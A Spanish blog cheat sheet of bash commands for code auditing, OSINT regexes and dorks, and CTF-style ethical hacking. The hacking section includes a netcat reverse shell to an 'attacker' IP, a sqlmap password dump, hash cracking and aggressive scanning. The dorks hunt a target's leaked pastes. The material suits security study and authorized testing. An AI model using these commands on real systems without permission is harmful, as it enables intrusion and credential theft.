Chuleta o cheat sheet de auditoría código. Notas de consulta rápida. Aquí iré compartiendo para tener a mano, los comandos y dorks usados en tareas habituales de una auditoría de código y demás tareas, OSINT, hacking ético, etc…
¿Qué os parecen? Comentadme los vuestros!

Auditoría de código – Bash
Cuando realizas una auditoría de código. En primer lugar realizando un reconocimiento del proyecto software, bash me parece una opción perfecta. Por eso siempre la uso como herramienta principal para realizar búsquedas en el código, independientemente de otras herramientas que esté usando en la auditoría. A quien no le gusta bash? ^^. Usar expresiones regulares puede parecer pesado al principio, sin embargo cuando aprendes a manejarte con ellas te dan una agilidad buceando dentro del código considerable.

Por eso os dejo por aquí este cheat sheet de auditoría código. Sin embargo para revisiones de código en mayor profundidad, montar el entorno de desarrollo a más alto nivel es más cómodo y práctico. En ese punto para cada plataforma y lenguaje tendrás un IDE, la mejor opción suele ser montarlo lo más parecido posible al equipo de desarrollo. Aquí dejo algunos comandos para esta primera toma de contacto con un código desde bash.
Reconocimiento, identificación del componente software
Ver cadenas de texto contenidas en cualquier archivo:
strings store-app-download.apk | less
Encontrar archivos de un proyecto por nombre:
find . -iname "*DAO.java" find . -iname "pom.xml" find -iregex '.*/WEB-INF/.*/View.*.jsp$'
Comando para visualizar por consola estructura de directorios del proyecto:
tree
Búsqueda por patrones
Encontrar archivos de un proyecto por coincidencia en contenido:
grep -R "actionName" --color grep -Ria "SELECT.*FROM.*WHERE" . --color egrep -Ri "[\\\ ]TODO[:\ ]{1}" . --color #El parametro -l nos devuelve solo la lista de archivos donde se encuentra coincidencia. El carácter especial "|" sirve para indicar posible coincidencia en una de varias opciones. grep -Ril "<s:form\|<form" --color #El parámetro -h retira del output la ruta del archivo en el que se encuentra la coincidencia. Este ejemplo es buscando un problema sobre archivos de log grep -Rh "SQLException" --color -B500 | grep SEVERE #Buscando potencial XXE en código java egrep -Ri "XMLInputFactory|SAXParserFactory|XMLReader|TransformerFactory|DocumentBuilderFactory|validation\.Validator" --color
Ver 30 líneas antes y después de las coincidencias encontradas con grep:
grep -R "<form method=get action=\"/\">" -A30 -B30 --color
Expresiones regulares para realizar búsqueda por patrones de forma general, localizando posibles puntos interesantes del código durante una revisión. Esto es solo una plantilla inicial, la iré dando una vuelta para mejorarla, el objetivo sería localizar potenciales vulnerabilidades:
#grep búsqueda de patrones alta criticidad #----------------------------------------- egrep -Ri --color --include=*.{java,cs} "(XSS|XXE|MD5|SHA1|hash|cuida|peligr|contrase|passw|pwd|keystore|keychain|encrypt|encripta|cifrar|cifrad|temporal|provisional|hack|cve|vulnera|secret|cambiar|revis)" #grep búsqueda de patrones genérico #---------------------------------- egrep -Ri --color --include=*.{java,cs} "(key|file|tempor|stream|valid|comprob|comprueb|encode|clave|upload|fichero|ruta|path|protecc|proteg|segur)" #grep para ver gestión de datos secretos #--------------------------------------- egrep -Ri --color --include=*.{java,cs} "(pass|contras|secre|clave|key|encr|cifra|creden|encode|ciphe)" #grep para ver tags de desarrollo (comentarios de desarrolladores que sigan el estandar) #------------------------------------------------------------------------ egrep -Ri --color --include=*.{java,cs} "[\/\\ \[\"\'#*.!%=>C\-]{1}(TODO|BUG|FIXME|HACK|UNDONE|XXX)[\ :>,.\-]{1}" --color
Comando para hacer un grep, en una extensión o nombre concreto de archivo:
find . -name *.jsp -printf '%p\n' -exec grep --color "<form" {} \;
Por último este comando para imprimir un archivo por completo coloreando una palabra de búsqueda:
grep --color -E "redirectAction|$" src/main/resources/struts.xml
Calcular métricas
En primer lugar calculando métricas de un proyecto, conteo de números de archivo según su extensión (cheat sheet de auditoría código):
find . -type f | sed -n 's/..*\.//p' | sort | uniq -c | sort -gr
En segundo lugar contar número de archivos y directorios, recursivamente a partir del directorio actual (cheat sheet de auditoría código):
#Contar archivos find . -type f -printf '.' | wc -c #Contar directorios find . -type d -printf '.' | wc -c
Seguidamente para calcular métricas del proyecto, conteo de líneas de código (líneas de determinadas extensiones de archivo, para contar sobre archivos que son estrictamente código y evitar otros datos). Por ejemplo este tiene extensiones de un proyecto concreto .net, adaptalo a la plataforma específica guiándote a partir de las extensiones resultado del comando anterior:
find -regex ".*\.\(cs\|cshtml\|js\|htm*\|sql\|csx\)" -exec cat {} \; | wc -l
OSINT – Expresiones regulares
Expresión regular para filtrar lista única de mails a partir de un texto:
cat * | grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" | grep -v "@contoso.com" | sort -u > ../emails_DB.txt
Extracto en lista única de dominios de mails:
cat mails.txt | grep -E -o "@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" | sort -u
Lista única de dominios y subdominios URLs:
grep -Eoi "^http[s]?:\/\/([a-z0-9|-]+\.)*[a-z0-9|-]+\.[a-z]+" file.txt
Ordenar lista única de IPs, expresión regular:
cat datos.txt |grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" | sort -u
Ordenar numéricamente listas de IPs eliminando duplicados:
cat lista_IPs.txt | sort -u | sort -n -t . -k 1,1 -k 2,2 -k 3,3 -k 4,4 > lista_IPs_ordenadas.txt
OSINT – Dorks
Dork para buscar sobre pastes indexados en google. Para esto los sites «pastebin.com» y «gist.github.com» son los más grandes:
intext:"contoso.com" OR intext:"52.164.206.56" site:pastebin.com OR site:gist.github.com
Búsqueda de documentos en google, extensiones de archivo. De esta manera buscamos concretamente sobre lo que tiene indexado el motor de búsqueda. Después valorar si quieres recorrer tu el site o ejecutar permutación:
#En un dominio concreto, extensiones habituales site:"sans.org" cheatsheet ext:odsx OR ext:odp OR ext:txt OR ext:rtf OR ext:xml OR ext:ppt OR ext:pptx OR ext:xls OR ext:xlsx OR ext:csv OR ext:doc OR ext:docx OR ext:pdf #En cualquier dominio, extensiones menos habituales "contoso" ext:key OR ext:mp3 OR ext:wav OR ext:flac OR ext:mpg OR ext:mpeg OR ext:mp4 OR ext:jpg OR ext:jpeg OR ext:png OR ext:zip OR ext:rar OR ext:7z OR ext:odt #*Extensiones que quieras buscar con OR #*Site donde quieras buscar #*Si quieres filtras por palabras
Buscando documentos indexados con programas:
python rastleak.py -d sans.org -o 1 -n 3000 -e 2 -f 2 ; metagoofil -d sans.org -t doc,xls,ppt,odp,ods,docx,xlsx,pptx -l 1000 -n 0 -o documentos-sans -f metagoofil_output_sans.org.html ;
Monitorización y búsquedas sobre Twitter. Con este ejemplo deben cumplirse al menos una condición de cada uno de los dos grupos de paréntesis:
("contoso" OR "@contoso") (hacked OR pwned OR tangodown OR offline OR sqli OR xss OR ddos) since:2019-01-01
Hacking ético, CTFs, etc…
Netcat – Shell reversa
Comando a ejecutar en nuestra máquina atacante (Se queda a la escucha en un puerto):
nc -lvp 3333
Seguidamente comando a ejecutar en máquina destino (Se conecta al puerto anteriormente abierto en nuestra máquina atacante, establece conexión y envía a /bin/bash lo que vayamos escribiendo):
nc 10.10.1.8 3333 -e /bin/bash
Tunelar mediante SSH:
#ssh [-N no execute remote command] [-f background before command execution] [-D bind address] [PORT] [user@]hostname ssh -NfD 1080 user@10.10.1.8 #proxychains [program] proxychains firefox
Inyecciones SQL:
#sqlmap [-u URL] --passwords sqlmap -u http://10.10.1.8:8080/login.php?PASS=l --passwords
Ver, analizar web desde consola
lynx https://www.hackplayers.com/ curl -i -X GET https://www.hackplayers.com/ | html2text | less curl -i -X GET https://www.hackplayers.com/ | less
Metadatos:
#Leer: exiftool -all * | less #Borrar: exiftool -all=\ documento.doc
Ver tipos de archivo:
file *
Búsqueda de una cadena de texto en todos los archivos a partir de una ruta:
grep -R --text "CTF" /home/
Extraer todas las IPs desde el directorio actual, con nombres de archivo:
grep -oER --text "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" .
Extraer todas las URLs desde el directorio actual, solo la lista única (añadimos opción grep -h que obvia el nombre de archivo y un sort -u para que salga la lista única):
grep -ERoh --text "https?://[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" . | sort -u
Búsqueda de un archivo por nombre en toda la máquina:
updatedb ; locate foto0001.png
Spidering, escaneo al contenido de un servidor web:
dirb http://10.10.1.8/ gobuster -e -u http://10.10.1.8/ -w /usr/share/wordlists/dirb/common.txt
Buscar datos ocultos en un archivo (ejemplo para deep sound 2.0)
1 – Para empezar un archivo .wav en el que queremos confirmar si hay datos ocultos o no los hay
2 – Seguidamente convertimos el wav a su texto hexadecimal correspondiente:
xxd -p tema.wav | tr -d '\n' > tema.wav.hex
3 – A continuación, deep sound 2.0 deja la siguiente marca de comienzo de datos ocultos, por lo tanto le pasamos una expresión regular que la localiza:
grep -ob 4...4...5...3...4...3...4...6 tema.wav.hex
4 – Por último si grep encuentra la expresión regular y nos devuelve un índice, es que el archivo en ese lugar tiene la marca de comienzo de datos ocultos
Hacer SSH con certificado:
#ssh [-i identify file] [certificate] [user@]hostname ssh -i cert.pem user@10.10.1.8
Hexa de un archivo:
#xxd [infile] xxd file.zlib xxd file.zlib | less
Búsqueda de fichero embebidos:
#binwalk [-e extract] [FILE 1] [FILE 2] ... binwalk -e favicon.png
Crackeo de hashes:
#findmyhash [Algotithm] OPTIONS findmyhash -MD5 IE4EHKRqf6Wvo
Netcat – Enviar y recibir fichero:
#Origen: nc [-v verbose] [-l listen mode] [-p PORT] < [FILE] #Destino: nc [IP] [PORT] > [FILE]
Nmap muy completo (Aggressive scan options) en puertos tcp:
nmap -p 1-65535 -T4 -A -v 10.10.1.8 > nmap_output_10.10.1.8.txt #Para ir viendo en tiempo real su impresión al archivo de texto: tail -f nmap_output_10.10.1.8.txt
Ver solo cabecera de un archivo:
head -20 nmap_output_10.10.1.8.txt
Sistemas
A continuación comando para actualizar una distro linux basada en debian, en una línea y sin interacción. Lo ejecutas y te olvidas. Aunque cuidado para cualquier tema en producción, esto puede desconfigurar o provocar errores sobre el sistema que hubiera montado anterior:
apt-get update ; apt-get -o Dpkg::Options::="--force-confdef" -o Dpkg::Options::="--force-confold" dist-upgrade -y --allow-downgrades ; apt-get autoremove -y ; apt-get autoclean ;
Cambiar localización/idioma de hora y teclado (para distros basadas en debian):
#Mapa de teclado: dpkg-reconfigure keyboard-configuration (a veces hace falta ejecutar este para que coja los cambios) -> service keyboard-setup restart #Hora dpkg-reconfigure tzdata
Referencias y recursos para profundizar más en el tema
- Fundación OWASP, lider mundial en desarrollo seguro: https://www.owasp.org/index.php/Main_Page
- Todo lo que necesitas sobre OSINT en español: https://ciberpatrulla.com/links/
- La mejor plataforma de hacking ético que conozco: https://www.hackthebox.eu/